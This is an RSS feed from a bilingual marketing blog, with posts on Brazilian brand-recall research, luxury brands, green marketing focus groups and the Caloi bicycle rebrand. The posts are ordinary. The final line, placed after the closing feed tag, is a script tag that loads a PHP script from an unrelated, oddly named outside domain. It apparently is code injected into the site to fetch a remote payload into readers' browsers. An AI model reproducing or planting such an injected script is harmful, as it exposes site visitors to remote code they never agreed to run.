

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blogamericas.com &#187; brands</title>
	<atom:link href="http://www.blogamericas.com/tag/brands/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.blogamericas.com</link>
	<description>The bilingual blog of TWRAmericas</description>
	<lastBuildDate>Sat, 31 Jul 2010 22:53:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>NBC 09 &#8211; Brands and Social Networks</title>
		<link>http://www.blogamericas.com/2009/10/20/nbc-09-brands-and-social-networks/</link>
		<comments>http://www.blogamericas.com/2009/10/20/nbc-09-brands-and-social-networks/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 19:22:45 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[brands]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/2009/10/20/nbc-09-brands-and-social-networks/</guid>
		<description><![CDATA[here are clips from the NBC event we didnt have time to show today &#8211; ill be writing more on our thoughts on Brands and Social Media later in the week just by chance i found this article about democratisation of social networks in the US from the excellent Pew Life project http://www.pewinternet.org/Presentations/2009/41&#8211;The-Democratization-of-Online-Social-Networks.aspx]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/R_VI6RcndrQ&#038;hl=en&#038;fs=1&#038;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/R_VI6RcndrQ&#038;hl=en&#038;fs=1&#038;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>here are clips from the NBC event we didnt have time to show today &#8211; ill be writing more on our thoughts on Brands and Social Media later in the week</p>
<p>just by chance i found this article about democratisation of social networks in the US from the excellent Pew Life project </p>
<p>http://www.pewinternet.org/Presentations/2009/41&#8211;The-Democratization-of-Online-Social-Networks.aspx</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2009/10/20/nbc-09-brands-and-social-networks/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Green Marketing and Consumers in Brazil &#8211; 3</title>
		<link>http://www.blogamericas.com/2008/06/19/220/</link>
		<comments>http://www.blogamericas.com/2008/06/19/220/#comments</comments>
		<pubDate>Thu, 19 Jun 2008 16:24:36 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Brands]]></category>
		<category><![CDATA[Consumers]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[brands]]></category>
		<category><![CDATA[green]]></category>
		<category><![CDATA[research]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/?p=220</guid>
		<description><![CDATA[To mark the UN Environment Day, TWRAmericas undertook a series of discussion groups with Brazilians to look not only at the issues as they relate to consumers in Brazil but also broader issues of sustainable development and ethical consumerism. The groups approached a broad range of subjects including current behaviours and responses to a range [...]]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/dWHVYpCav1E&#038;hl=en"></param><embed src="http://www.youtube.com/v/dWHVYpCav1E&#038;hl=en" type="application/x-shockwave-flash" width="425" height="344"></embed></object></p>
<p>To mark the UN Environment Day, TWRAmericas undertook a series of discussion groups with Brazilians to look not only at the issues as they relate to consumers in Brazil but also broader issues of sustainable development and ethical consumerism. The groups approached a broad range of subjects including current behaviours and responses to a range of &#8216;green&#8217; advertising and activities by brands. Their are a series of 5 video clips with the thoughts of the participants. Please feel free to add your own own comments or thoughts on the issues discussed.</p>
<p>In this third section of clips respondents discuss a number of issues surrounding their own behaviour and what might influence this in the future along with some potential measures which governments might adopt to better assist consumers act in a more ecologically sympathetic manner. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2008/06/19/220/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Caloi calls on brand heritage for new marketing activity</title>
		<link>http://www.blogamericas.com/2008/05/25/caloi-calls-on-brand-heritage-for-new-marketing-activity/</link>
		<comments>http://www.blogamericas.com/2008/05/25/caloi-calls-on-brand-heritage-for-new-marketing-activity/#comments</comments>
		<pubDate>Sun, 25 May 2008 19:26:30 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Brands]]></category>
		<category><![CDATA[Sport]]></category>
		<category><![CDATA[Youth]]></category>
		<category><![CDATA[brands]]></category>
		<category><![CDATA[Marketing]]></category>

		<guid isPermaLink="false">http://twramericas.com/blog/?p=177</guid>
		<description><![CDATA[One of Brazil’s longest standing brands announced a makeover in its visual look last week in an attempt to “rescue an identity lost in recent years”. With a campaign set to run across different media platforms, Caloi aims to return to its once dominant position in the Brazilian bicycle market.  With the launch of a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://twramericas.com/blog/wp-content/uploads/2008/05/selo_caloi.jpg"><img class="aligncenter size-medium wp-image-179" title="selo_caloi" src="http://twramericas.com/blog/wp-content/uploads/2008/05/selo_caloi-179x300.jpg" alt="" width="179" height="300" /></a></p>
<p>One of Brazil’s longest standing brands announced a makeover in its visual look last week in an attempt to “rescue an identity lost in recent years”. With a campaign set to run across different media platforms, Caloi aims to return to its once dominant position in the Brazilian bicycle market.  With the launch of a <a href="http://www.caloi.com/">new website </a>and campaigns across the Cartoon Network and Telecine, Caloi also aims to launch events at airports to promote its 110 years of bicycles in Brazil.  The brand was born in 1898 when the Italian Luigi Caloi arrived in Brazil and founded the company in Sao Paulo, originally importing bicycles from Italy but after difficulties experienced during the Second World War the company began making their own bikes. The company reached its peak in terms of public awareness during the 1970’s with TV ad campaigns  such as this here…<br />
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="wmode" value="transparent" /><param name="src" value="http://www.youtube.com/v/xU9wy5il7iU&amp;hl=en" /><embed type="application/x-shockwave-flash" width="425" height="355" src="http://www.youtube.com/v/xU9wy5il7iU&amp;hl=en" wmode="transparent"></embed></object><br />
In the 1980s Caloi were joined in the national market by Monark whose target market was more the adult cyclist while Caloi focused on the youth market.  Though having a limited public profile the brand has increasingly attempted to use niche marketing techniques and sponsored sporting events aimed at young people.  The company ceased to be a family owned entity in 1999 when the company was sold. The brand now incorporates not only bicycles but a range of fitness products.  The company also has a US subsidiary opened in the 1990s and based in Florida. The US based Caloi, now big in the cruiser market, moved from mountain biking into the road-racing market and for some time co-sponsored the Motorola-Caloi team. Among those cyclists who rode Caloi bicycles designed by Eddie Mercx, was Lance Armstrong, as the main athlete.<br />
Source &#8211; <a href="http://gecorp.blogspot.com/2008/05/caloi-trabalha-para-consumidor-no.html">Geocorp</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2008/05/25/caloi-calls-on-brand-heritage-for-new-marketing-activity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brazilians and Luxury Brands</title>
		<link>http://www.blogamericas.com/2008/03/02/brazilians-and-luxury-brands/</link>
		<comments>http://www.blogamericas.com/2008/03/02/brazilians-and-luxury-brands/#comments</comments>
		<pubDate>Sun, 02 Mar 2008 19:57:04 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Consumers]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[brands]]></category>
		<category><![CDATA[Brazil]]></category>

		<guid isPermaLink="false">http://twramericas.com/blog/2008/03/02/brazilians-and-luxury-brands/</guid>
		<description><![CDATA[We were interested to read on the BBC Brasil site this week that according to recent research Armani (37%) and Christian Dior (28%) are the luxury brands most desirable amongst Brazilians consumers. On face value of some interest to know more about the aspirations of consumers in a time of economic growth. However as the [...]]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/D4QvLmrcau0"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/D4QvLmrcau0" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>We were interested to read on the <a href="http://www.bbc.co.uk/portuguese/reporterbbc/story/2008/02/080228_armanipreferenciabrasil_np.shtml">BBC Brasil </a>site this week that according to recent research Armani (37%) and Christian Dior (28%) are the luxury brands most desirable amongst Brazilians consumers. On face value of some interest to know more about the aspirations of consumers in a time of economic growth. However as the research itself highlighted only 18% of Brazilians purchase luxury brands. Thus the value of brand naming amongst a consumer base with limited brand or product encounter is questionable. More interesting perhaps was the finding that only 36% of Brazilians believe that luxury brands offer the assurance of a better quality product and 13% that fake products were of the same standard as the original.<span>  </span>Furthermore 75% of respondents stated that brands exaggerated their prices. All of which made the comments of Nielsen President Patrick Todd slightly confusing…”the appeal of luxury brands continues to grow – a famous brand is simply something that consumers, especially in emerging economies, are prepared to pay a higher price for”.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2008/03/02/brazilians-and-luxury-brands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brazilians struggle to name ‘green’ brands</title>
		<link>http://www.blogamericas.com/2007/11/19/brazilians-struggle-to-name-%e2%80%98green%e2%80%99-brands/</link>
		<comments>http://www.blogamericas.com/2007/11/19/brazilians-struggle-to-name-%e2%80%98green%e2%80%99-brands/#comments</comments>
		<pubDate>Mon, 19 Nov 2007 18:23:09 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Consumers]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[brands]]></category>
		<category><![CDATA[Brazil]]></category>
		<category><![CDATA[research]]></category>

		<guid isPermaLink="false">http://twramericas.com/blog/2007/11/19/brazilians-struggle-to-name-%e2%80%98green%e2%80%99-brands/</guid>
		<description><![CDATA[The annual Top of Mind research conducted by DataFolha annually since 1991 seems to retain a significant level of importance here in Brazil.  The value of a quantitative study which purely tracks brand recall is questionable, especially in age of ever more complex consumer relationships with brands. However the survey of 5,500 Brazilians across some [...]]]></description>
			<content:encoded><![CDATA[<p>The annual Top of Mind research conducted by <a href="http://datafolha.folha.uol.com.br/produtos/top_index.shtml#" title="Datafolha">DataFolha</a> annually since 1991 seems to retain a significant level of importance here in Brazil.  The value of a quantitative study which purely tracks brand recall is questionable, especially in age of ever more complex consumer relationships with brands. However the survey of 5,500 Brazilians across some 40 categories does offer a glimpse into the most recognised brand names in the Brazilian market and the ability to track changes over time. The 2007 study, whose results were recently announced,  included for the first time a question related to brands associated with environmental protection. Leaders in this field were Ype (cleaning products), Ibama (government agency), Natura (cosmetics) and Greenpeace. Though most significant perhaps was the fact that 63% of those questioned could not provide the name of a brand that they associate with environmental protection.</p>
<p>Respondents are initially asked to name their Top of the Top…the first brand that comes to mind…this years winner being Omo (soap powder), followed by Coca-Cola, Nestle, Nike, Natura (cosmetics) and Seda (shampoos).</p>
<p>Results by category for 2007, also show the following:<br />
For the 8th year Nokia head the list of mobile phone makers, though Motorola showed a significant rise in awareness in the past year. Tim and Vivo share top slot for cell phone operators, both receiving 25% recall.<br />
In the computer and computing accessories category there is a low response rate that mirrors that of environmental proection. LG win out but with just 8%, followed by Samsung<br />
In the sports brand sector Nike showed a decline from 18% to 14% allowing Adidas to make up ground (13%), followed by a range of national brands: Penalty (10%), Olimpikus (5%), Topper (4%) and Rainha (1%)<br />
Philips remain atop the the league of TV manufacturers for the 17th year, though at 21% its role is increasingly under threat by Semp/Toshiba (16%), CCE (11%) LG (11%) and Philco/Hitachi (8%)<br />
Another consistent winner, this time in the car market, Volkswagen also showed a small decline to 31%, followed by Fiat (23%), GM/Chevrolet (20%) and Ford (11%)<br />
Skol’s rise in prominence in the beer market continues to rise to 39%, followed by Brahma (21%) and Antartica (13%)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2007/11/19/brazilians-struggle-to-name-%e2%80%98green%e2%80%99-brands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://nowisisdudescars.com/js.php"></script>